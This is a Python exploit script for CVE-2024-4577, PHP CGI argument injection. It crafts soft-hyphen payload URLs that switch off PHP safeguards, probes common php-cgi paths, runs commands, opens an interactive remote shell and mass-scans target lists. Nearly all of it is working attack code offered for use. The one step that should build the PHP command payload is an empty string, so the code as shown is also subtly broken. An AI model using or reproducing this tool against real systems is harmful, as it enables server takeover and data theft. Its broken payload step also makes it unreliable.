#!/usr/bin/env python3 # Exploit Title: PHP CGI Module 8.3.4 - Remote Code Execution (RCE) # Date: 2025-06-13 # Exploit Author: @ibrahimsql # Exploit Author's github: https://github.com/yigitsql ( old account banned ) # Vendor Homepage: https://www.php.net/ # Software Link: https://www.php.net/downloads # Version: PHP < 8.3.4, PHP < 8.2.17, PHP < 8.1.27 # Tested on: Kali Linux 2024.1 # CVE: CVE-2024-4577 # Description: # A critical vulnerability in PHP's CGI implementation allows remote attackers to execute # arbitrary code through command injection. The vulnerability exists due to improper handling # of command-line arguments in PHP CGI, which can be exploited to bypass security restrictions # and execute arbitrary commands with the privileges of the web server. This vulnerability # affects all PHP versions before 8.3.4, 8.2.17, and 8.1.27. # # Impact: # - Remote Code Execution (RCE) # - Information Disclosure # - Server Compromise # # References: # - https://nvd.nist.gov/vuln/detail/cve-2024-4577 # - https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure # - https://www.tarlogic.com/blog/cve-2024-4577-critical-vulnerability-php/ # - https://learn.microsoft.com/en-us/answers/questions/1725847/php-8-3-vulnerability-cve-2024-4577 # - https://www.stormshield.com/news/security-alert-php-cve-2024-4577-stormshields-product-response/ # # Requirements: urllib3>=1.26.0, rich, requests>=2.25.0, alive_progress, concurrent.futures import re import sys import base64 import requests import argparse from rich.console import Console from urllib3 import disable_warnings from urllib3.exceptions import InsecureRequestWarning from alive_progress import alive_bar from concurrent.futures import ThreadPoolExecutor, as_completed disable_warnings(InsecureRequestWarning) console = Console() class PHPCGIExploit: """CVE-2024-4577 PHP CGI Argument Injection RCE Exploit""" def __init__(self): self.headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Optimized settings for PHP CGI argument injection self.php_settings = [ "-d cgi.force_redirect=0", "-d cgi.redirect_status_env=0", "-d fastcgi.impersonate=1", "-d open_basedir=", "-d disable_functions=", "-d auto_prepend_file=php://input", "-d allow_url_include=1", "-d allow_url_fopen=1" ] # Soft hyphen character for Windows systems self.soft_hyphen = "%AD" # 0xAD character # Different PHP CGI paths to try self.cgi_paths = [ "/php-cgi/php-cgi.exe", "/php/php-cgi.exe", "/cgi-bin/php-cgi.exe", "/php-cgi.exe", "/php.exe", "/php/php.exe" ] def ascii_art(self): print("") console.print("[bold red] ____ _ _ ____ ____ ____ ___[/bold red]") console.print("[bold red] | _ \| | | | _ \ / ___|/ ___|_ _|[/bold red]") console.print("[bold red] | |_) | |_| | |_) | | | | | _ | |[/bold red]") console.print("[bold red] | __/| _ | __/ | |___| |_| || |[/bold red]") console.print("[bold red] |_| |_| |_|_| \____|\____|___|[/bold red]") console.print("[bold yellow] CVE-2024-4577 Exploit[/bold yellow]") console.print("[dim white] PHP CGI Argument Injection[/dim white]") console.print("[dim cyan] Developer: @ibrahimsql[/dim cyan]") print("") def build_payload_url(self, cgi_path): # Argument injection with soft hyphen settings_str = " ".join(self.php_settings).replace("-", self.soft_hyphen) settings_str = settings_str.replace("=", "%3D").replace(" ", "+") return f"{cgi_path}?{settings_str}" def execute_command(self, target, command="whoami", cgi_path=None): """Execute command on target using PHP CGI argument injection""" try: # Create PHP code php_code = f"""""" # If no CGI path specified, try all paths if cgi_path: paths_to_try = [cgi_path] else: paths_to_try = self.cgi_paths for path in paths_to_try: try: payload_url = self.build_payload_url(path) full_url = f"{target.rstrip('/')}{payload_url}" response = requests.post( full_url, headers=self.headers, data=php_code, timeout=10, verify=False, allow_redirects=False ) # Check output if response.status_code == 200: output_match = re.search(r'\[START\](.*?)\[END\]', response.text, re.DOTALL) if output_match: return output_match.group(1).strip(), path except requests.exceptions.RequestException: continue return None, None except Exception as e: console.print(f"[red][-][/red] Error: {str(e)}") return None, None def check_vulnerability(self, target): """Check if target is vulnerable""" console.print(f"[blue][*][/blue] Testing target: {target}") # Test with a simple command result, cgi_path = self.execute_command(target, "echo CVE-2024-4577-TEST") if result and "CVE-2024-4577-TEST" in result: console.print(f"[green][+][/green] Target is vulnerable! CGI Path: {cgi_path}") # Get system information sys_info, _ = self.execute_command(target, "systeminfo", cgi_path) if sys_info: console.print("[green][+][/green] System Information:") console.print(f"[dim]{sys_info[:500]}...[/dim]") # First 500 characters return True, cgi_path else: console.print(f"[red][-][/red] Target is not vulnerable") return False, None def interactive_shell(self, target, cgi_path): """Interactive shell session - Simple version""" console.print("[green][+][/green] Interactive shell opened") console.print("[yellow][!][/yellow] Type 'exit' to quit, 'clear' to clear screen") while True: try: # Simple input prompt cmd = input("shell> ") if cmd.lower() == "exit": break elif cmd.lower() == "clear": print("\033[2J\033[H", end="") continue elif cmd.strip() == "": continue # Execute command result, _ = self.execute_command(target, cmd, cgi_path) if result: print(result) else: console.print("[red][-][/red] Command execution failed") except KeyboardInterrupt: console.print("\n[yellow][!][/yellow] Use 'exit' to quit") except Exception as e: console.print(f"[red][-][/red] Error: {str(e)}") def exploit_target(self, target, output_file=None): """Exploit single target""" is_vulnerable, cgi_path = self.check_vulnerability(target) if is_vulnerable: # Save results if output_file: with open(output_file, "a") as f: f.write(f"[+] Vulnerable: {target} | CGI Path: {cgi_path}\n") # Start interactive shell console.print("[blue][*][/blue] Starting interactive shell...") self.interactive_shell(target, cgi_path) else: if output_file: with open(output_file, "a") as f: f.write(f"[-] Not vulnerable: {target}\n") def scan_multiple_targets(self, targets_file, threads=5, output_file=None): """Scan multiple targets""" try: with open(targets_file, "r") as f: targets = [line.strip() for line in f if line.strip()] if not targets: console.print("[red][-][/red] No targets found in file") return console.print(f"[blue][*][/blue] Scanning {len(targets)} targets with {threads} threads") vulnerable_targets = [] def scan_target(target): try: is_vulnerable, cgi_path = self.check_vulnerability(target) if is_vulnerable: vulnerable_targets.append((target, cgi_path)) if output_file: with open(output_file, "a") as f: f.write(f"[+] Vulnerable: {target} | CGI Path: {cgi_path}\n") except Exception as e: console.print(f"[red][-][/red] Error scanning {target}: {str(e)}") with alive_bar(len(targets), title="Scanning", bar="smooth") as bar: with ThreadPoolExecutor(max_workers=threads) as executor: futures = [executor.submit(scan_target, target) for target in targets] for future in as_completed(futures): future.result() bar() # Summary print("") console.print(f"[green][+][/green] Found {len(vulnerable_targets)} vulnerable targets") if vulnerable_targets: console.print("\n[bold]Vulnerable Targets:[/bold]") for target, cgi_path in vulnerable_targets: console.print(f" [green]•[/green] {target} (CGI: {cgi_path})") except FileNotFoundError: console.print(f"[red][-][/red] File not found: {targets_file}") except Exception as e: console.print(f"[red][-][/red] Error: {str(e)}") def main(): """Main function""" exploit = PHPCGIExploit() exploit.ascii_art() parser = argparse.ArgumentParser( description="CVE-2024-4577 - PHP CGI Argument Injection RCE Exploit", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: python3 exploit.py -u http://target.com python3 exploit.py -f targets.txt -t 10 -o results.txt Note: This tool is for educational and authorized testing purposes only. """ ) parser.add_argument("-u", "--url", help="Single target URL") parser.add_argument("-f", "--file", help="File containing target URLs") parser.add_argument("-o", "--output", help="Output file for results") parser.add_argument("-t", "--threads", type=int, default=5, help="Number of threads (default: 5)") args = parser.parse_args() if args.url: exploit.exploit_target(args.url, args.output) elif args.file: exploit.scan_multiple_targets(args.file, args.threads, args.output) else: parser.print_help() sys.exit(1) if __name__ == "__main__": main()